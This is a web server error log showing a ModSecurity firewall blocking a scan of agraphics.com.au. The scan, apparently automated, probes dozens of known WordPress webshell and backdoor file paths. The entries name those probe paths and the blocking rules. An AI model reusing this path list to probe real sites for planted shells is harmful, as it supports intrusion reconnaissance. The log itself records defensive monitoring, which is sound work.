[Tue Mar 24 01:48:58.064546 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.69:55963] [client 194.5.82.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/ws29.php"] [unique_id "acF9CndtW_1bksndFbY5qAAAAAM"]
[Tue Mar 24 01:48:58.249001 2026] [:error] [pid 56237:tid 56330] [client 194.5.82.64:62691] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "acF9CgymO0MnzQb90MMzIAAAAIk"]
[Tue Mar 24 01:48:58.463688 2026] [:error] [pid 56238:tid 56354] [client 194.5.82.56:27723] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "acF9ClSqceFAZRgPDq6u4QAAAMY"]
[Tue Mar 24 01:48:58.645112 2026] [:error] [pid 56435:tid 56525] [client 194.5.82.83:49145] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/"] [unique_id "acF9Csrwr-l5A-s9ryCQggAAARg"]
[Tue Mar 24 01:48:58.828956 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.95:61017] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/chosen.php"] [unique_id "acF9CndtW_1bksndFbY5qgAAABM"]
[Tue Mar 24 01:48:59.011250 2026] [:error] [pid 56435:tid 56517] [client 194.5.82.74:41547] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "acF9C8rwr-l5A-s9ryCQhAAAARA"]
[Tue Mar 24 01:48:59.193586 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.82:36597] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "acF9C8rwr-l5A-s9ryCQhgAAARQ"]
[Tue Mar 24 01:48:59.379041 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.56:32237] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "acF9C8rwr-l5A-s9ryCQiAAAAQ8"]
[Tue Mar 24 01:48:59.561907 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.99:34017] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/file/"] [unique_id "acF9C8rwr-l5A-s9ryCQiQAAAQQ"]
[Tue Mar 24 01:48:59.742659 2026] [:error] [pid 31798:tid 31821] [client 194.5.82.84:41015] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/tag-cloud/"] [unique_id "acF9C3dtW_1bksndFbY5rwAAABU"]
[Tue Mar 24 01:48:59.927787 2026] [:error] [pid 31798:tid 31802] [client 194.5.82.98:54695] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/file.php"] [unique_id "acF9C3dtW_1bksndFbY5sgAAAAI"]
[Tue Mar 24 01:49:00.109720 2026] [:error] [pid 31798:tid 31818] [client 194.5.82.71:49537] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/about.php"] [unique_id "acF9DHdtW_1bksndFbY5tAAAABI"]
[Tue Mar 24 01:49:00.293393 2026] [:error] [pid 56435:tid 56508] [client 194.5.82.97:53085] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "acF9DMrwr-l5A-s9ryCQjQAAAQg"]
[Tue Mar 24 01:49:00.476096 2026] [:error] [pid 56236:tid 56317] [client 194.5.82.55:55427] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/"] [unique_id "acF9DHapFgYp0uZ8twAstgAAAFg"]
[Tue Mar 24 01:49:00.668972 2026] [:error] [pid 56238:tid 56360] [client 194.5.82.76:31563] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/updraft/emptydir/"] [unique_id "acF9DFSqceFAZRgPDq6u4gAAAMw"]
[Tue Mar 24 01:49:00.902346 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.55:54499] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "acF9DMrwr-l5A-s9ryCQjgAAARQ"]
[Tue Mar 24 01:49:01.082386 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.57:27697] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/images/"] [unique_id "acF9Dcrwr-l5A-s9ryCQkAAAAQ8"]
[Tue Mar 24 01:49:01.263062 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.78:54985] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwenty/assets/fonts/inter/"] [unique_id "acF9DXdtW_1bksndFbY5twAAABM"]
[Tue Mar 24 01:49:01.453345 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.62:47447] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "acF9DXdtW_1bksndFbY5uQAAABE"]
[Tue Mar 24 01:49:01.641830 2026] [:error] [pid 31798:tid 31814] [client 194.5.82.167:54189] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2025/"] [unique_id "acF9DXdtW_1bksndFbY5uwAAAA4"]
[Tue Mar 24 01:49:01.822610 2026] [:error] [pid 31798:tid 31815] [client 194.5.82.96:28617] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "acF9DXdtW_1bksndFbY5vgAAAA8"]
[Tue Mar 24 01:49:02.001965 2026] [:error] [pid 31798:tid 31811] [client 194.5.82.84:51473] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/coffee/"] [unique_id "acF9DndtW_1bksndFbY5wAAAAAs"]
[Tue Mar 24 01:49:02.182551 2026] [:error] [pid 31798:tid 31805] [client 194.5.82.70:25273] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/"] [unique_id "acF9DndtW_1bksndFbY5wwAAAAU"]
[Tue Mar 24 01:49:02.364020 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.73:29093] [client 194.5.82.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/admin/metabox/about.php"] [unique_id "acF9DndtW_1bksndFbY5xAAAABQ"]
[Tue Mar 24 01:49:02.547267 2026] [:error] [pid 31798:tid 31809] [client 194.5.82.55:26155] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/database.php"] [unique_id "acF9DndtW_1bksndFbY5xwAAAAk"]
[Tue Mar 24 01:49:02.729218 2026] [:error] [pid 56435:tid 56522] [client 194.5.82.168:21863] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/search/"] [unique_id "acF9Dsrwr-l5A-s9ryCQkQAAARU"]
[Tue Mar 24 01:49:02.911303 2026] [:error] [pid 56435:tid 56519] [client 194.5.82.71:61673] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/html-api/"] [unique_id "acF9Dsrwr-l5A-s9ryCQkgAAARI"]
[Tue Mar 24 01:49:03.092500 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.81:56681] [client 194.5.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "acF9D8rwr-l5A-s9ryCQlQAAAQ4"]
[Tue Mar 24 01:49:03.274716 2026] [:error] [pid 56236:tid 56306] [client 194.5.82.57:57863] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp.php"] [unique_id "acF9D3apFgYp0uZ8twAstwAAAE0"]
[Tue Mar 24 01:49:03.463517 2026] [:error] [pid 56435:tid 56508] [client 194.5.82.78:25217] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "acF9D8rwr-l5A-s9ryCQmgAAAQg"]
[Tue Mar 24 01:49:03.645421 2026] [:error] [pid 31798:tid 31821] [client 194.5.82.89:53951] [client 194.5.82.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "acF9D3dtW_1bksndFbY5zgAAABU"]
[Tue Mar 24 01:49:03.827940 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.92:27583] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/x/wp-classs-editor.php"] [unique_id "acF9D8rwr-l5A-s9ryCQnAAAARQ"]
[Tue Mar 24 01:49:04.009052 2026] [:error] [pid 31798:tid 31810] [client 194.5.82.99:55495] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/dashboard/application/search-rankings/about.php"] [unique_id "acF9EHdtW_1bksndFbY50AAAAAo"]
[Tue Mar 24 01:49:04.189536 2026] [:error] [pid 56237:tid 56324] [client 194.5.82.56:63647] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "acF9EAymO0MnzQb90MMzLAAAAIM"]
[Tue Mar 24 01:49:04.369283 2026] [:error] [pid 56435:tid 56525] [client 194.5.82.95:33231] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-conflg.php"] [unique_id "acF9EMrwr-l5A-s9ryCQoAAAARg"]
[Tue Mar 24 01:49:04.550714 2026] [:error] [pid 56237:tid 56332] [client 194.5.82.66:30677] [client 194.5.82.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/zz.php"] [unique_id "acF9EAymO0MnzQb90MMzLgAAAIs"]
[Tue Mar 24 01:49:04.732729 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.62:51913] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "acF9EHdtW_1bksndFbY50wAAAAc"]
[Tue Mar 24 01:49:04.913168 2026] [:error] [pid 56236:tid 56301] [client 194.5.82.87:45711] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "acF9EHapFgYp0uZ8twAsuAAAAEg"]
[Tue Mar 24 01:49:05.178535 2026] [:error] [pid 31798:tid 31802] [client 194.5.82.58:42041] [client 194.5.82.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "acF9EXdtW_1bksndFbY51wAAAAI"]
[Tue Mar 24 01:49:05.359595 2026] [:error] [pid 31798:tid 31818] [client 194.5.82.95:51189] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-content/"] [unique_id "acF9EXdtW_1bksndFbY52QAAABI"]
[Tue Mar 24 01:49:05.540288 2026] [:error] [pid 56238:tid 56355] [client 194.5.82.54:60075] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/function/function.php"] [unique_id "acF9EVSqceFAZRgPDq6u6gAAAMc"]
[Tue Mar 24 01:49:05.719468 2026] [:error] [pid 56237:tid 56344] [client 194.5.82.93:23103] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "acF9EQymO0MnzQb90MMzMgAAAJc"]
[Tue Mar 24 01:49:05.900839 2026] [:error] [pid 56238:tid 56358] [client 194.5.82.104:41705] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acF9EVSqceFAZRgPDq6u7QAAAMo"]
[Tue Mar 24 01:49:06.080886 2026] [:error] [pid 56238:tid 56368] [client 194.5.82.104:47489] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/joker.php"] [unique_id "acF9ElSqceFAZRgPDq6u7gAAANQ"]
[Tue Mar 24 01:49:06.270339 2026] [:error] [pid 56238:tid 56353] [client 194.5.82.99:59265] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Iitespeed-cache/classwithtostring.php"] [unique_id "acF9ElSqceFAZRgPDq6u8QAAAMU"]
[Tue Mar 24 01:49:06.453113 2026] [:error] [pid 56237:tid 56334] [client 194.5.82.73:53479] [client 194.5.82.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "acF9EgymO0MnzQb90MMzNAAAAI0"]
[Tue Mar 24 01:49:06.633153 2026] [:error] [pid 56238:tid 56362] [client 194.5.82.94:26359] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/joker.php"] [unique_id "acF9ElSqceFAZRgPDq6u8wAAAM4"]
[Tue Mar 24 01:49:06.814923 2026] [:error] [pid 56435:tid 56518] [client 194.5.82.63:40393] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comment-date/"] [unique_id "acF9Esrwr-l5A-s9ryCQowAAARE"]
[Tue Mar 24 01:49:06.996761 2026] [:error] [pid 56435:tid 56520] [client 194.5.82.68:43237] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/joker.php"] [unique_id "acF9Esrwr-l5A-s9ryCQpAAAARM"]
[Tue Mar 24 01:49:07.177048 2026] [:error] [pid 56238:tid 56355] [client 194.5.82.78:20233] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/news-portal/content-"] [unique_id "acF9E1SqceFAZRgPDq6u9wAAAMc"]
[Tue Mar 24 01:49:07.364318 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.62:36975] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/news-portal/user-install.php"] [unique_id "acF9E3dtW_1bksndFbY53QAAABE"]
[Tue Mar 24 01:49:07.546201 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.79:21397] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "acF9E8rwr-l5A-s9ryCQpgAAAQQ"]
[Tue Mar 24 01:49:07.727586 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.167:55935] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/joker.php"] [unique_id "acF9E8rwr-l5A-s9ryCQpwAAARQ"]
[Tue Mar 24 01:49:07.907755 2026] [:error] [pid 56435:tid 56524] [client 194.5.82.54:39995] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/core/files/about.php"] [unique_id "acF9E8rwr-l5A-s9ryCQqQAAARc"]
